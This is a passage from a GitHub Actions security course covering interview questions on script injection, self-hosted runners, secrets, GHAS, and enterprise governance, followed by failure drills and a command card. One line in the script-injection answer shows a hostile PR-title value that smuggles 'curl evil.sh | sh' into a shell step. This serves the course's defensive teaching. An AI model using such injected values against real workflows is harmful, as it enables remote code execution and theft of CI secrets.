- Why not use
latest? It cannot be traced or rolled back, and versions cannot be compared when deployments race.
Bonus points
On the deployment side, use a policy engine to verify attestations (Kyverno / policy-controller).
Common wrong answer
“Pushing images from a PR makes testing easier”—fork PRs have no permissions, and it pollutes the registry.
See Lesson 5 GitHub Packages and GHCR,Lesson 4 Building and pushing to ECR.
Q36. What is workflow script injection? How do you defend against it?Advanced
30-second answer
${{ }} Expressions are expanded before the script runs as plain text. Writing attacker-controlled values (PR titles, branch names, issue bodies, comments) directly into run:, is like letting them splice shell code, for example a title of a"; curl evil.sh | sh; echo ". Defense: put untrusted values into an environment variable and reference it in the script as "$VAR" ; or pass them through action inputs; and use least-privilege tokens.
In-depth answer
# Vulnerable
- run: echo "Title: ${{ github.event.pull_request.title }}"
# Safe
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $TITLE"- Untrusted sources:
github.event.*.title/body,head_ref, commit messages, author names, and artifact contents. - Tools: zizmor (template-injection), actionlint, and CodeQL's Actions queries (check the official docs).
Common follow-ups
- Is writing
$GITHUB_ENVrisky? Yes: multi-line values can inject extra variables (for exampleLD_PRELOAD), so use a random delimiter or avoid writing untrusted values.
Bonus points
Combined with pull_request_target it is the most dangerous (it has secrets and write permissions).
Common wrong answer
“Adding quotes makes it safe”—an attacker can close the quotes.
Q37. What are the security risks of self-hosted runners? How do you harden them?Advanced
30-second answer
Risks: leftovers between jobs (files, credentials, background processes, poisoned caches), the runner host can reach the internal network and cloud metadata, and any PR on a public repository can run code on your machine. Hardening: use them only for private/internal repositories; ephemeral (a new instance per job, via ARC or --ephemeral); limit the runner group to specific repositories and workflows; use minimal host permissions and block access to IMDS, or use IMDSv2 with a hop limit; allowlist outbound network traffic; update runners regularly (outdated versions are rejected).
In-depth answer
- ARC: one job per pod, using Kubernetes NetworkPolicy and a separate node pool; avoid mounting the Docker socket (use rootless/dind for isolation; check the docs for trade-offs).
- Cloud identity: runner nodes themselves should not carry high-privilege identities; deployment permissions are obtained per job via OIDC.
Common follow-ups
- Why not public repositories? Anyone can open a PR and run code on them (even with an approval requirement, it relies on human judgment).
Bonus points
Mention that runner registration tokens are valid for 1 hour and that ARC should authenticate with a GitHub App.
Common wrong answer
“It is safe because it sits on the internal network”—being reachable from the internal network is exactly the risk.
Q38. How do you manage and rotate the long-lived secrets that still have to exist in CI/CD?Intermediate
30-second answer
First eliminate them: use OIDC for cloud, a GitHub App for GitHub, and OIDC/GITHUB_TOKEN for registries. Keep the rest (third-party SaaS API keys) in environment-level secrets or an external secrets store (Key Vault / Secrets Manager, read via OIDC), rotate them by expiry date (automated rotation with an overlap period for two keys), enable secret scanning and push protection, and audit who uses them and when.
In-depth answer
- Reading from the vault: OIDC login to Azure →
az keyvault secret show; and use::add-mask::to mask it. - Checklist: record the owner, purpose, and expiry date for each secret; an offboarding checklist (Part A #50).
- Leak response: revoke → review usage records → replace → post-incident review.
Common follow-ups
- How do you choose between organization-level and repository-level secrets? Organization-level secrets can be limited to visible repositories, which makes centralized rotation easier; for highly sensitive values, use environment-level secrets with approvals.
Bonus points
Mention that GitHub secret scanning's partner program notifies token issuers of leaked tokens, and some issuers revoke them automatically.
Common wrong answer
“Just keep the secrets in a config file in a private repository”—repository readers, forks, and backups can all see them.
Scenario question 7-1: convert a pipeline that stores an AWS access key into one with zero long-lived keys
The repository secrets contain AWS_ACCESS_KEY_ID/SECRET, which has AdministratorAccess and deploys to 3 accounts.
Key points of the reference answer
- In each account, create an IAM OIDC provider and a deployment role that trusts sub =
…:environment:dev|staging|prod(note the immutable subject format). - Narrow permissions per service (ECR scoped to specific repositories, ECS to specific services, PassRole limited to the execution role).
- Workflow: environment binding +
id-token: write+ configure-aws-credentials; prod approval. - After the switch is complete,disable and delete the old access key, and check CloudTrail for the last time the old key was used.
- Verification: attempting to deploy to prod from a feature branch should fail.
Scenario question 7-2: the organization is using a compromised third-party action
A security advisory says an action's tag was repointed within the past 24 hours and that it prints secrets.
Key points of the reference answer
- Immediately: disable the action in organization policy; search code for
org:O "owner/action@"and list the repositories that reference it. - Assess: review run logs within the affected time window (logs for public repositories may already have been read by others), and list the secrets these workflows could access.
- Remediate: rotate every secret that may have leaked; delete logs that contain secrets; pin to a known-safe SHA or replace the action.
- Improve: organization-wide SHA-pinning policy + Dependabot; OIDC in place of long-lived secrets; minimal permissions.
Scenario question 7-3: audit requires that “every image running in production can be traced to a reviewed commit”
Key points of the reference answer
- Commit → PR review (ruleset: approval + approval of the latest push + CODEOWNERS).
- Builds run only on main, executed by the platform's reusable workflow, and generate a provenance attestation (including the commit SHA and workflow reference).
- Deploy by digest; the cluster admission policy requires a valid attestation and that the signer workflow is the platform workflow.
- Evidence: deployment history, audit logs, and attestation records, which let you trace a PR back from an image digest.
Teaching video (title and channel verified via YouTube oEmbed)
No verified video specifically on artifact attestations / SLSA was found; official docs:Using artifact attestations · GHSA-mrrh-fwg8-r2c3 (tj-actions).
Module 8 · Part B: Enterprise governance and scenario design (interview Q39–50)
- Be able to explain the components and licensing boundaries of GitHub's security products, and propose a rollout strategy of “on by default, strengthened by risk”.
- Answer design questions using a fixed framework: Goals and constraints → identity and permissions → code gates → build and supply chain → deployment → observability and auditing → cost → migration plan.
Q39. Which products does GitHub Advanced Security include now? What are the differences between public and private repositories?Intermediate
30-second answer
Since 2025-04, GHAS has been split into two products that can be purchased separately: GitHub Secret Protection (Secret Protection: secret scanning, push protection, custom patterns, delegated bypass, AI detection of generic passwords, etc.) and GitHub Code Security (Code Security: CodeQL code scanning, Copilot Autofix, dependency review, security campaigns/security overview, etc.), billed per active committer and also purchasable with the GitHub Team plan. Code scanning, secret scanning with push protection, and dependency review are free for public repositories; Dependabot alerts/updates are available for all repositories. Check the official docs and pricing page for the exact feature list and prices.
In-depth answer
- “Active committer”: a unique user who has pushed commits to a private repository with the product enabled within the past 90 days.
- Rollout: use the organization's security configurations to enable them in bulk; they apply automatically to new repositories.
- The Security overview shows coverage and alert trends by team or repository.
Common follow-ups
- How do you control costs? Enable Code Security first on high-risk repositories, and enable Secret Protection across the board (the cost of a leak is far higher than the license fee).
Bonus points
Be able to describe what changed with the split: GHAS used to be a bundled license and required Enterprise.
Common wrong answer
“Dependabot requires a GHAS license”—Dependabot alerts and updates do not.
See Lesson 6 GitHub security product overview and licensing.
Q40. How do secret scanning and push protection work together? What problems do custom patterns and delegated bypass solve?Intermediate
30-second answer
Push protection blocks high-confidence secrets at push time (including web edits and API commits); this is the “before the fact” control; Secret scanning scans the full history and issues/PRs/wikis, etc., and raises alerts; this is the “after the fact” control, and in partner mode it also notifies issuers. Custom patterns (regex) to cover internal token formats; Delegated bypass prevents developers from self-approving; bypass requests must be approved by the security team, leaving an audit record.
In-depth answer
- Alert handling: revoke → mark as revoked/false positive → clean up history if necessary; alerts can be fed into a SIEM via webhook/API.
- Validity checks can show whether partner tokens are still valid (check the docs for availability).
- Individual users can also enable push protection for their own pushes.
Common follow-ups
- Too many false positives? Dry-run custom patterns first; exclude test paths (use
secret_scanning.ymlpaths-ignore); don't turn the whole thing off.
Bonus points
Stress that “the first step after a leak is to revoke, not to rewrite history” (Part A #39; Git course #4, #50).
Common wrong answer
“Push protection scans the entire repository history”—it only scans newly pushed content.
Q41. How do you choose between CodeQL default setup and advanced setup? How do you avoid alert noise?Intermediate
30-second answer
Default setup: enable with one click; GitHub detects languages automatically, runs on PRs and the default branch, and needs no workflow maintenance, which suits most repositories; Advanced setup: you maintain the workflow yourself and can customize build steps, query packs, scan paths, and run frequency; it suits repositories with complex builds or that need custom queries. The two cannot be enabled at the same time (Part A #40). To reduce noise, start with the default query suite (rather than security-extended), block only on new alerts in PRs (code scanning rules in a ruleset use severity thresholds), and use Copilot Autofix.
In-depth answer
- A ruleset can require “code scanning results” to show no new high-severity alerts on a PR before it can merge.
- Third-party SAST tools upload SARIF so their results appear together in the Security tab.
Common follow-ups
- Scans too slow? Split the matrix by language, use
build-mode: none(for supported languages), and run full scans only on main.
Bonus points
Metrics: alert time to fix (MTTR), and the share of new alerts in PRs that get blocked.
Common wrong answer
“Turn on blocking for all historical alerts”—this leads teams to simply turn off scanning.
Q42. What is the difference between Dependabot security updates, version updates, and grouped updates? How do you prevent a flood of PRs?Beginner
30-second answer
Security updates: automatically open a PR when there is a vulnerability alert and a fixed version exists; Version updates: upgrade dependencies to the latest versions, based on the schedule in dependabot.yml ; Grouped updates (groups) combine several dependencies into one PR. To prevent a flood, group minor/patch updates and set open-pull-requests-limit, schedule weekly, enable auto-merge for patch-level updates (provided required checks pass), and ignore unneeded major versions.
In-depth answer
github-actionsDependabot can also automatically upgrade actions pinned to a SHA.- Runs triggered by Dependabot get no Actions secrets and only a read-only token (Part A #47).
- For private registries, use
registries+ Dependabot secrets.
Common follow-ups
- Why does Dependabot stop proposing a version after you close its PR? Closing it means ignoring that version; you can use the
@dependabotcommand to restore it.
Bonus points
Pair with dependency review (Q34): Dependabot fixes existing dependencies, while dependency review blocks new ones.
Common wrong answer
“Merge all Dependabot PRs automatically”—major versions may contain breaking changes and need tests and human judgment.
Q43. What levers are available for enterprise-level Actions governance?Advanced
30-second answer
① Allowed actions: limit to this enterprise, GitHub-owned actions, verified creators, or an allowlist, and require SHA pinning; ② Default token permissions read-only; do not allow Actions to approve PRs; ③ runner: limit runner groups to specific repositories, and disable self-hosted runners for public repositories; ④ Fork PR policy: outside contributors require approval; ⑤ Required workflows: a ruleset requires specific workflows to pass (the current form of required workflows; check the official docs); ⑥ Artifact and log retention; ⑦ OIDC subject template managed centrally together with cloud trust; ⑧ Budgets and usage reports.
In-depth answer
- Policy layering: enterprise → organization → repository; lower levels can only be stricter.
- Visibility: workflow events in the audit log, and Actions usage metrics (Actions metrics; check the docs for availability).
- Implementation: manage organization settings with Terraform, with changes going through review.
Common follow-ups
- How do you control actions without blocking innovation? Use an approval SLA (for example, 2 business days), an internal action catalog, and internally hosting forks after an audit.
Bonus points
Cite the tj-actions incident to explain why allowlisting and SHA pinning are necessary (Q32).
Common wrong answer
“Ban all third-party actions”—this forces teams to copy-paste code, which is harder to audit.
See Lesson 5 Hardening Actions security · organization-level governance.
Q44. What problems do SAML SSO, SCIM, team sync, and EMU each solve?Intermediate
30-second answer
SAML SSO: before accessing enterprise organization resources, users must authenticate through the IdP (PATs/SSH keys need authorization); SCIM: the IdP automatically provisions and deprovisions members; Team sync: map IdP groups to GitHub teams, so permissions change along with the group; EMU: accounts themselves are created and owned by the IdP, are deactivated when someone leaves, and interaction with external public content is restricted. The goal in every case is “identity follows the IdP, with nothing left behind when someone leaves.”
In-depth answer
- EMU can also use OIDC CAP (conditional access policies in Entra ID) to apply IP and device conditions to GitHub sessions and tokens (check the official docs).
- Machine identities do not go through SSO: use GitHub Apps.
Common follow-ups
- How do you authorize Copilot or third-party integrations in an SSO organization? Use OAuth App access restrictions plus admin approval.
Bonus points
Point out that after team sync you should not manually edit team members on GitHub (changes get overwritten; Part A #2).
Common wrong answer
“Once SSO is enabled, PATs stop working”—they still work, but each one must be authorized individually.
See Lesson 6 Organizations and enterprises: SSO, EMU, team sync.
Q45. What can the audit log answer? How do you meet compliance requirements for retention and alerting?Intermediate
30-second answer
The audit log records management and security events in an organization or enterprise: who changed permissions or rulesets, who bypassed protections, who created or deleted repositories, use of tokens and Apps, changes to Actions settings, push protection bypasses, and so on. Enterprise Cloud can use the audit log streaming to continuously push events to Splunk, Azure Event Hubs, S3, Datadog, and others, which meets long-term retention and SIEM alerting requirements; retention for web/API queries is limited (check the official docs).
In-depth answer
- Key alerts:
protected_branch.policy_override/ ruleset bypass,repo.access(visibility changed to public),org.update_member(new owner), push protection bypass, PAT creation/approval. - You can enable logging of the source IP for API requests (enterprise setting; check the docs).
Common follow-ups
- Are git clone/push events in the audit log? Git events can be obtained through streaming or dedicated queries, and they have a shorter retention period (check the docs).
Bonus points
Map audit events to controls: change management, access control, separation of duties.
Common wrong answer
“Just look it up on the web when needed”—retention is limited, so by the time you need forensics the data may be gone.
Q46. How do you manage GitHub Actions costs?Intermediate
30-second answer
Start with the data: break usage down by repository, workflow, and runner type. Then: cancel outdated runs (concurrency), set job timeouts, run only Linux on PRs, run macOS/Windows/GPU only when needed, reduce minutes with caching and incremental builds, shorten artifact retention, and give larger runners only to jobs that truly benefit; set budgets and alerts; and evaluate the total cost of ownership of self-hosted runners/ARC. On pricing, hosted runners have had price cuts since 2026-01-01, and the self-hosted platform fee plan has been postponed; follow the official billing docs.
In-depth answer
- Minute multipliers / unit prices: macOS and Windows are far higher than Linux.
- Storage: artifacts and Packages share a quota; exceeding it blocks uploads (Part A #46).
- Cost centers: attribute usage to teams, combined with showback.
Common follow-ups
- Are public repositories charged? Standard hosted runners are free.
Bonus points
Track “CI cost per merge” together with “PR wait time” as metrics, so you don't slow delivery down just to save money.
Common wrong answer
“Just reduce the number of CI runs”—this just pushes the problem into production.
Q47. Design question: design a CI/CD platform on GitHub for an organization with 500 repositories and 80 teams.Advanced
30-second answer
“Paved road”: the platform team provides versioned reusable workflows (CI, image release + attestation, deployment) and composite actions; organization rulesets require required checks and reviews; identity is unified as GitHub App + OIDC; runners use a mix of hosted and ARC, isolated by runner group; security configurations enable Secret Protection / Code Security / Dependabot in bulk; observability and costs are attributed by team.
In-depth answer
- Layering: enterprise policy (allowed actions, read-only tokens) → organization rulesets (targeting by the custom property tier) → repository customization.
- Delivery: template repositories generate new services; Dependabot upgrades reusable workflow versions; migration tools submit PRs in bulk.
- Deployment: environment = cloud account/subscription; the OIDC subject includes
job_workflow_ref, so only the platform deployment workflow is trusted. - Operations: SLOs (P95 queue time < 2 minutes, CI success rate), cost dashboards, and quarterly audits.
Common follow-ups
- What if a team wants to deviate from the standard? Allow extension through inputs in the reusable workflow; truly special needs go through an exception process and are recorded.
Bonus points
Discuss “governance as a product”: developer experience, documentation, and office hours matter as much as enforcement.
Common wrong answer
Only covering YAML details, without covering identity, policy, migration, and operations.
Q48. Design question: plan a migration from Jenkins / Azure Pipelines to GitHub Actions.Advanced
30-second answer
Inventory → pilot → bulk → decommission: use GitHub Actions Importer (gh actions-importer audit/dry-run/migrate) to assess and generate a first-draft workflow; migrate simple CI first, then deployment (swapping credentials for OIDC and approvals for environments along the way); run old and new pipelines side by side for a while to compare results; finally freeze the old pipelines. Key risks: equivalents for plugins and shared libraries, implicit dependencies on self-hosted agents, secret migration, and artifact and release history.
In-depth answer
- Mapping: Jenkins shared library → reusable workflow / composite action; Azure Pipelines templates → reusable workflows; variable groups → organization/environment variables and secrets; service connections → OIDC.
- Runners: start with hosted runners; for dependencies on the internal network, use ARC or a runner on a private network.
- Metrics: build duration, failure rate, and cost before and after migration.
Common follow-ups
- What if the code is still in Azure Repos? Migrate the repositories first (see the migration key points in Git course Lesson 8 Q36), or keep Azure Pipelines running for a while.
Bonus points
Point out that the Importer output is a starting point and needs manual review of permissions, SHA pinning, and secret usage.
Common wrong answer
“Switch everything over in one weekend”—there is no parallel comparison or rollback plan.
See Lesson 5; for the Git-level migration, see Git course Lesson 8 Q36, Q48.
Q49. Scenario question: a PAT with organization admin permissions leaks in a public gist. How do you respond?Advanced
30-second answer
Follow the sequence “contain → assess → eradicate → recover → post-incident review”: revoke the token immediately (the owner deletes it, or an organization admin revokes the fine-grained PAT via the API or settings; if needed, suspend the user or remove them from the organization); review the audit log and the token's usage records (repository access, settings changes, and newly created Apps, deploy keys, webhooks, or PATs within the time window); roll back suspicious changes and rotate any secrets that may have been read; replace this automation with a GitHub App; and review why an admin-level PAT existed in the first place.
In-depth answer
- GitHub secret scanning automatically notifies, and may even automatically revoke, GitHub tokens found in public content (check the official docs), but do not rely on it.
- Persistence checks: new owners, outside collaborators, OAuth authorizations, signs that Actions secrets were read (for example, whether a workflow was modified to exfiltrate secrets), and self-hosted runner registrations.
- Communication: the security team and owners of affected repositories; if customer data is involved, notify as required by regulation.
Common follow-ups
- How do you prevent this from happening again? Restrict classic PATs, require approval for fine-grained PATs with a maximum lifetime, don't let admin accounts create PATs, and use Apps for machine access.
Bonus points
Give time targets: revoke within 15 minutes, and complete the impact assessment report within 24 hours.
Common wrong answer
“Deleting the gist is enough”—the token is still valid, and it has already been scraped.
See Lesson 6, Part A #50.
Q50. Design question: design a delivery chain from PR to production with “zero long-lived credentials and full traceability”, and explain how to govern AI coding assistants (such as Copilot).Advanced
30-second answer
Chain: PR (ruleset: approval + approval of the latest push + CODEOWNERS + required checks + code scanning, dependency review, and push protection) → merge queue validation → build on main by the platform's reusable workflow (ephemeral runners, SHA-pinned actions, least privilege) → push the image and generate a provenance attestation and SBOM → deployment job bound to an environment, with OIDC exchanging for cloud credentials (subject bound to the environment and platform workflow), and publish after approval → admission control verifies attestations → audit logs stream into the SIEM. There are no long-lived keys throughout, and any production image can be traced back to its PR by digest. AI assistants: control available features and models through enterprise/organization policies, content exclusion, auditing, and usage metrics; generated code goes through the same gates above (check the official docs for the specific Copilot governance options).
In-depth answer
- Identity: three types—people (SSO/EMU), integrations (GitHub App), and cloud (OIDC)—each with minimal permissions.
- Evidence: PR review records, check results, attestations, deployment records, and audit logs—directly usable as SOC 2 change management evidence.
- Failure modes: bypasses being abused (audit alerts), and the platform workflow being tampered with (the platform repository itself is protected by rulesets and CODEOWNERS).
- AI-generated PRs (including PRs created by coding agents): the same gates as human PRs, and the approver cannot be the person who triggered them.
Common follow-ups
- How do you prove the platform workflow has not been modified? Reference it by SHA and check the attestation's
job_workflow_ref/signer workflow check.
Bonus points
Use the trust chain in Figure 7-1 to map each control point to a threat, and explain which plan each feature requires.
Common wrong answer
Only listing tools, without explaining the threat model or how the evidence ties together.
Scenario question 8-1: a one-page “GitHub security baseline” for the CISO
Key points of the reference answer
- Identity: SSO (or EMU), mandatory 2FA, restrict classic PATs, fine-grained PAT approval with a 90-day maximum, Apps for machines.
- Code: organization ruleset (PRs, 2 approvals, approval of the latest push, no force pushes), CODEOWNERS.
- Security products: full Secret Protection + push protection; Code Security on critical repositories; Dependabot across the board.
- Actions: allowlist + SHA pinning, read-only default tokens, OIDC, no self-hosted runners on public repositories.
- Audit: stream logs to the SIEM and alert on critical events; quarterly access reviews.
- Metrics: coverage, alert MTTR, number of bypasses.
Scenario question 8-2: merge queue + environment approvals slow releases, and the product team complains
Key points of the reference answer
- Measure the bottleneck: how much time goes to queue waiting, CI duration, and approval waiting.
- CI: speed it up (Q23) and run only the necessary checks in the queue; raise queue build concurrency.
- Approvals: automatic for dev/staging; prod approvers as a team plus on-call; low-risk changes (config/copy) are auto-approved with custom deployment protection rules.
- Batch releases vs continuous deployment: introduce feature flags to decouple deployment from release.
Scenario question 8-3: the company acquires a team that uses GitLab; how do you merge them into GitHub Enterprise within 3 months
Key points of the reference answer
- Identity: bring them into the IdP, provision via SCIM, and add team sync.
- Code: GitHub Enterprise Importer or mirror migration (mind the scope of MRs, issues, and CI); validate by first migrating a read-only copy.
- CI: GitLab CI → Actions (Actions Importer supports GitLab); run both in parallel first.
- Security: apply security configurations and organization rulesets as soon as repositories move in; scan the history for secrets.
- Communication: training, FAQs, a dual-track period, and a rollback plan.
Teaching video (title and channel verified via YouTube oEmbed)
No verified video specifically on GHAS licensing or enterprise governance design questions was found; official docs:About GitHub Advanced Security · Administering GitHub Actions(paths may change as the docs are restructured).
Quick reference cheat sheet + interview flashcards
A · 50 production problems cheat sheet
Type a keyword to filter (for example 404,Expected,AADSTS,rate limit). Click a number to jump to the detailed explanation in the matching module.
B · 50 interview question flashcards
Read the question and recall the answer yourself first, then expand to check the one-line key point; for details, go back to the “interview question details” in the matching module.
Common command card
Identity and permissions
gh auth status; gh auth switch gh api user -q .login gh api repos/O/R -q .permissions gh api -i repos/O/R | grep -iE '^HTTP|x-oauth-scopes|x-accepted-github-permissions|x-github-sso' gh api orgs/O/memberships/$(gh api user -q .login)
PR gates
gh pr view N --json mergeStateStatus,reviewDecision gh pr checks N gh api repos/O/R/rules/branches/main gh api repos/O/R/commits/SHA/check-runs -q '.check_runs[] | [.name,.app.slug,.conclusion]|@tsv' gh api repos/O/R/codeowners/errors
Actions runs
gh workflow list --all gh run list -w ci.yml -L 10 gh run view ID --log-failed gh run rerun ID --failed --debug gh cache list --sort last_accessed_at gh api orgs/O/actions/runners -q '.runners[]|[.name,.status,.busy]|@tsv'
OIDC and cloud
# Print claims (inside a job; requires id-token: write) curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r .value | cut -d. -f2 az ad app federated-credential list --id $APP_ID -o table az role assignment list --assignee $CLIENT_ID --all -o table aws iam get-role --role-name R --query Role.AssumeRolePolicyDocument aws sts get-caller-identity
Environments and deployment
gh api repos/O/R/environments/prod -q .protection_rules gh api repos/O/R/environments/prod/deployment-branch-policies gh api repos/O/R/actions/runs/ID/pending_deployments gh api repos/O/R/deployments -q '.[:5][]|[.sha[0:7],.environment,.created_at]|@tsv'
Security, API, and billing
gh api rate_limit -q .resources.core gh api repos/O/R/secret-scanning/alerts gh api repos/O/R/code-scanning/default-setup gh secret list --app dependabot gh attestation verify oci://IMAGE@sha256:… --owner O gh api orgs/O/actions/permissions
Four-part structure for interview answers
| Part | Duration | Example (Q26 OIDC) |
|---|---|---|
| Conclusion | 10 seconds | “OIDC lets a workflow exchange a short-lived JWT for short-lived cloud credentials, so no long-lived keys are stored.” |
| Mechanism | 40 seconds | id-token permission → GitHub issues a JWT → the cloud validates iss/aud/sub → STS/Entra returns credentials. |
| Example | 40 seconds | In the trust policy, sub = repo:org/app:environment:prod; workflow snippet. |
| Experience | 30 seconds | “After adding an environment I got AADSTS700213; after renaming the repository the immutable subject changed…” |
Comprehensive drill + mock interview
I. Comprehensive failure drills
Each scenario combines several Part A questions. Write down your first diagnostic step and judgment, then expand the answer.
Scenario 1: Day one of a new repository going live: PRs won't merge, and deployment also fails
PR #3: ● ci / build (3.13) Expected — Waiting for status to be reported Required
✓ ci / build (3.14) success
deploy (push to main, environment: prod):
Error: AADSTS700213: No matching federated identity record found for presented assertion subject
'repo:myorg-lab@1234567/payments-api@890123456:environment:prod'.
# The repository was created from a template in 2026-09; the FIC was copied from the old repository payments
Answer: Required check names change with the matrix value (#3) → change to a summary job ci-ok. The new repository uses an immutable subject by default (#29), but the FIC was written with the old name (#26) → create a new FIC based on the actual sub. Lesson: template repositories should be “templated” together with rulesets and cloud trust (reference owner-id/repo-id in IaC).
Scenario 2: The release workflow pushed a tag, but the deploy workflow did not run; re-running deployment manually was blocked
release.yml: git push origin v2.3.0 (using GITHUB_TOKEN) deploy.yml (on: push: tags: ['v*']): no run records Manual run: gh workflow run deploy.yml --ref v2.3.0: Tag "v2.3.0" is not allowed to deploy to prod due to environment protection rules.
Answer: A tag pushed with GITHUB_TOKEN does not trigger new runs (#13) → push the tag with a GitHub App token instead, or chain the workflows with dispatch. The environment only allows the main branch (#37) → add v* a tag policy, and use a tag ruleset to restrict who can create v* tags (#5).
Scenario 3: External contributor's PR: the coverage comment fails, and the maintainer wants to switch to pull_request_target
GraphQL: Resource not accessible by integration (addComment)
Maintainer proposal: on: pull_request_target + actions/checkout with ref: ${{ github.event.pull_request.head.sha }}
Answer: The fork PR token is read-only and has no secrets by design (#7, #14). The proposed approach is a pwn request, and checkout v7 blocks that combination by default. The correct approach is a two-stage split: pull_request upload artifacts + workflow_run post the comment (interview Q16, scenario question 6-2).
Scenario 4: On Friday night the production release was “rolled back”, and on Monday the image was found to be missing too
deploy #881 (sha a1b2c3d) started 18:02, ended 18:13 deploy #882 (sha d4e5f6a) started 18:04, ended 18:08 Production /version → a1b2c3d Rollback attempt: manifest for …/myapp:v1.3.2 not found: manifest unknown
Answer: Deployment race (#33) → an environment-level concurrency group + a pre-deploy check that the SHA is an ancestor. Rollback failure (#34) → the lifecycle policy deleted the old image, or a mutable tag was overwritten; keep released versions, deploy by digest, and use a separate rollback workflow.
Scenario 5: The nightly sync script first got slow, then failed, and the next day all automation returned 401
02:10 HTTP 403 You have exceeded a secondary rate limit … 02:45 HTTP 403 API rate limit exceeded for user ID 1234567 Next day 09:00: bob left → all bots: 401 Bad credentials
Answer: Concurrent calls from 500 repositories triggered secondary rate limiting, then exhausted bob's 5,000/h primary quota (#43); and all automation used bob's PAT (#50). Fix: a GitHub App (higher quota, organization-owned), serialization + backoff + ETag, and webhooks instead of polling; plus an offboarding checklist.
Scenario 6: Terraform apply failed after running for 70 minutes, and the rerun got stuck waiting for a runner
AADSTS700024: Client assertion is not within its valid time range … Rerun: Waiting for a runner to pick up this job... Requested labels: self-hosted, linux, tf gh api orgs/O/actions/runners → tf-01 offline, tf-02 online busy
Answer: The long job's credentials expired (#38) → split the state and log in again. One self-hosted runner was offline and the other busy (#19) → restore it or scale ARC; also set timeout-minutes (#20) and check Terraform state locking.
Scenario 7: After the security team enabled the organization policy, CI turned red in 30 repositories at the same time
Error: The action tj-actions/changed-files@v46 is not allowed in myorg-lab/web because all actions must be from a repository owned by … Error: The action actions/setup-node@v7 is not allowed … because all actions must be pinned to a full-length commit SHA.
Answer: The Actions allowlist + SHA-pinning policy took effect (#42). The correct response is not to roll back the policy, but to batch PRs that change references to SHAs (Dependabot / a script + git ls-remote), and use allowlisted alternatives such as dorny/paths-filter; next time, evaluate and announce before enforcing.
Scenario 8: All Dependabot PRs failed, and CodeQL also reported errors
npm error 401 Unauthorized - GET https://npm.pkg.github.com/@myorg-lab%2fui-kit CodeQL: Error: CodeQL analyses from advanced configurations cannot be processed when the default setup is enabled
Answer: Dependabot runs cannot access Actions secrets (#47) → configure a Dependabot secret (read-only token). The CodeQL default setup conflicts with an advanced workflow (#40) → choose one.
II. Full mock interview (10 questions drawn at random from the 50)
Two minutes per question: answer first, then check and self-rate; at the end, the round score and the questions to review are shown; cumulative mastery is tracked by module.
III. Open-ended self-test (6 questions)
- Draw the “six gates for merging a PR,” and give one failure you have seen at each gate.
- Explain why GitHub returns 404 for a private repository you have no access to, and name 3 causes of “automation 404s.”
- Write an AWS trust policy that allows deployment only from the prod environment, and explain how the immutable subject affects it.
- Compare GITHUB_TOKEN, GitHub Apps, and fine-grained PATs on permissions, lifetime, rate limits, and auditing.
- Design a webhook receiver service, covering signature verification, timeouts, idempotency, and reconciliation.
- Your organization wants to enable “actions must be pinned to a SHA.” Write a rollout plan and a fallback plan.
IV. Final quiz
Sources and version notes
Official documentation sources
| Topic | Conclusions used in this course | Sources (accessed 2026-11-15) |
|---|---|---|
| REST API rate limits | Unauthenticated 60/h; user 5,000/h; GITHUB_TOKEN 1,000/h per repository (Enterprise Cloud 15,000); App installation token ≥5,000, up to 12,500 for non-enterprise and 15,000 for Enterprise Cloud; secondary: concurrency 100, REST 900 points/min, GraphQL 2,000 points/min; 403 or 429 | Rate limits for the REST API |
| Actions billing | Hosted runners have had price cuts since 2026-01-01 (about 40%, including a $0.002/minute platform fee); the self-hosted runner platform fee was originally scheduled for 2026-03-01 and has since been announced as postponed | GitHub Changelog 2025-12-16 · 2026 pricing changes |
| OIDC | issuer, claims, subject format, custom subject templates; immutable subject (the default for repositories newly created, renamed, or transferred since 2026-07-15) | About security hardening with OIDC · GitHub Changelog · Microsoft Learn · configure-aws-credentials |
| Rulesets and merge queue | Stacked rules take the strictest result; bypass modes; push rulesets GA since 2024-09; merge queue: organization public repositories or Enterprise Cloud private repositories; merge_group event | About rulesets · Managing a merge queue |
| Tokens | Fine-grained PATs GA since 2025-03-18; GITHUB_TOKEN permissions and recursion prevention; App JWT ≤10 minutes, installation token 1 hour | Automatic token authentication · Generating a JWT |
| Actions limits | Hosted runner jobs 6 hours, workflow runs up to 35 days, matrix 256, caches evicted after 7 days unused plus repository quota, artifacts retained 90 days by default | Actions reference (limits) |
| Action versions | checkout v7.0.1, setup-python/node v7.1.0, cache v6.1.0, upload-artifact v7.0.2, download-artifact v8.0.2, azure/login v3.1.0, configure-aws-credentials v6.3.0, dorny/paths-filter v4.0.3 (verified by the course authors on 2026-11-15) | Each repository's Releases page |
| Supply chain incident | tj-actions/changed-files: CVE-2025-30066 / GHSA-mrrh-fwg8-r2c3; tags were repointed on 2025-03-14/15; fixed in 46.0.1 | GitHub Advisory |
| Security products | Split of Secret Protection / Code Security (since 2025-04); push protection, CodeQL default setup, dependency review, Dependabot secrets | About GitHub Advanced Security · Code security docs |
| Artifact attestations | attest-build-provenance,gh attestation verify; private repositories require Enterprise Cloud | Using artifact attestations |
| Webhook | X-Hub-Signature-256 HMAC-SHA256; 10-second timeout; redelivery | Validating webhook deliveries · Best practices |
Video verification notes
All videos had their titles and channels verified on 2026-11-15 through the YouTube oEmbed endpoint (https://www.youtube.com/oembed?url=…&format=json). oEmbed does not return durations or publish dates, so they are not listed. Verified: TechWorld with Nana “GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline with Docker”, DevOps Journey “Github Actions CI/CD - Everything you need to know to get started”, Fireship “5 Ways to DevOps-ify your App - Github Actions Tutorial” and “DevOps CI/CD Explained in 100 Seconds”, freeCodeCamp.org “Git and GitHub for Beginners - Crash Course”, GitHub “Git & version control in the enterprise - Git Merge 2019”, the video “GitHub Actions with AWS and OIDC Integration | Wahl Network” from the channel whose display name is Uglarvisk, DevOps Interview Cloud “Secret Scanning in CI: Stop AWS Keys Leaking to GitHub”, and geralexgr “Scan for secrets and passwords with GitLeaks”. No verified videos were found specifically on ruleset or merge queue troubleshooting, Entra federated credential troubleshooting, API rate limits and GitHub Apps, or artifact attestations; for those pages, the official documentation links and storyboard scripts are provided instead.
Audio notes
The Audio page uses the browser's built-in Web Speech API and uploads no data. It needs a Chinese (zh-CN) voice pack installed on the system; without one, you can simply read the script.
Known limitations
